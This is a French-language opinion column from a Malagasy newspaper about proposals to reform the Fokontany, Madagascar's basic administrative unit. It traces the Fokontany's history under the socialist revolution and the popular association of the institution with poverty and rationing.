La Gazette de la grande ile

Le Fokontany : facteur de… pauvreté !

Publié le 13 novembre 2017

Le président Rajaonarimampianina fut le premier à lancer l’idée d’une réforme du statut du Fokontany. Il convenait, a-t-il dit, d’intégrer le Fokontany parmi les collectivités territoriales décentralisées, au même titre que la commune, la région et la province. On soupçonna l’homme de vouloir user de cette voie pour obtenir un référendum de révision constitutionnelle, visant surtout à supprimer l’obligation pour le chef d’Etat candidat de démissionner deux mois avant le scrutin présidentiel. La machination ayant été éventée, l’idée du référendum fut abandonné mais le débat sur le sujet n’est pas pour autant tombé. Le Sefafi (Observatoire de la Vie Publique) par exemple a traité de la question dans sa dernière lettre, et a provoqué un regain d’intérêt sur le sujet.

Le Fokontany, dit-on, est une institution de proximité qu’il importe de revaloriser. En fait, si on demandait son avis à la population, elle ne manifesterait pas le même attachement pour cette collectivité. Tout simplement car, dans notre histoire récente, la mise en service du Fokontany (en tant que subdivision administrative) a donné le coup d’envoi de la pauvreté et de la vie difficile et chère. La colonisation française n’a guère accordé de l’intérêt pour cette collectivité héritée de l’ «ancien régime», c’est-à-dire de la royauté d’Antananarivo. La Première République n’en fit pas non plus un pivot de sa politique de développement, lui préférant les coopératives qui s’inspiraient des kibboutz israéliens.

C’est le colonel Richard Ratsimandrava, ministre de l’Intérieur (1972-1975), qui érigea le Fokontany en collectivité de base et en fit le pilier de sa politique administrative « moderniste ». On connaissait surtout le mot Fokonolona (assemblée villageoise), et au moment de son avènement, le terme Fokontany (territoire) était une innovation qui sonnait étrangement aux oreilles… Mais étoile filante à son poste, l’homme tomba sous les balles de ses ennemis politiques avant d’avoir eu le temps d’enraciner cette institution. La Révolution socialiste de l’amiral Ratsiraka (1975-1992) prit le relais, et créa le « Fokontany socialiste », cellule administrative qui devait tracter le développement surtout en milieu rural. En fait, dès le départ, la Révolution socialiste rata ses objectifs économiques et le Fokontany n’eut plus que deux raisons de vivre. D’abord, l’identification des contre-révolutionnaires et surtout des mercenaires (étrangers) qui pouvaient attenter à l’existence de la Révolution. Et ceci car deux régimes socialistes proches, les Comores d’Ali Soilih (en 1979) et les Seychelles de France-Albert René (en 1981), furent renversés ou agressés par des mercenaires étrangers. Ensuite la distribution des produits  rationnés à la population, notamment le riz, l’huile et le sucre, mais par moments aussi le savon et les cahiers d’écolier. Les bureaux de Fokontany, absolument inconnus auparavant, servirent de lieu d’entrepôt et de site de distribution des rations.

Inefficace, la Révolution fut surtout le terrain de prédilection des pénuries, des trafics et autres marchés noirs. La chute drastique du pouvoir d’achat provoqua une misère presque généralisée qui donna naissance au dicton suivant : « C’est la Révolution qui a généré les 4 mis » (Ndlr : il s’agit de ces miséreux qui dorment sur les trottoirs et vivent de mendicité ou de larcins). Y a-t-il une relation de cause à effet entre le Fokontany et la pauvreté ? On ne le sait, mais la mise en place des Fokontany ayant coïncidé avec l’apparition de la misère, le bon sens populaire a vite fait d’établir un lien entre les deux phénomènes.

Le Fokontany n’étant pas associé à une bonne image, le débat le concernant n’intéresse guère le public. D’ailleurs, le régime actuel s’apparente à la Révolution socialiste en raison des dures épreuves  qu’il inflige à la population, dont la flambée des prix. Bref, en matière d’épreuves et de privations, il apporte aussi à la population une bonne… ration.

                 Adelson RAZAFY

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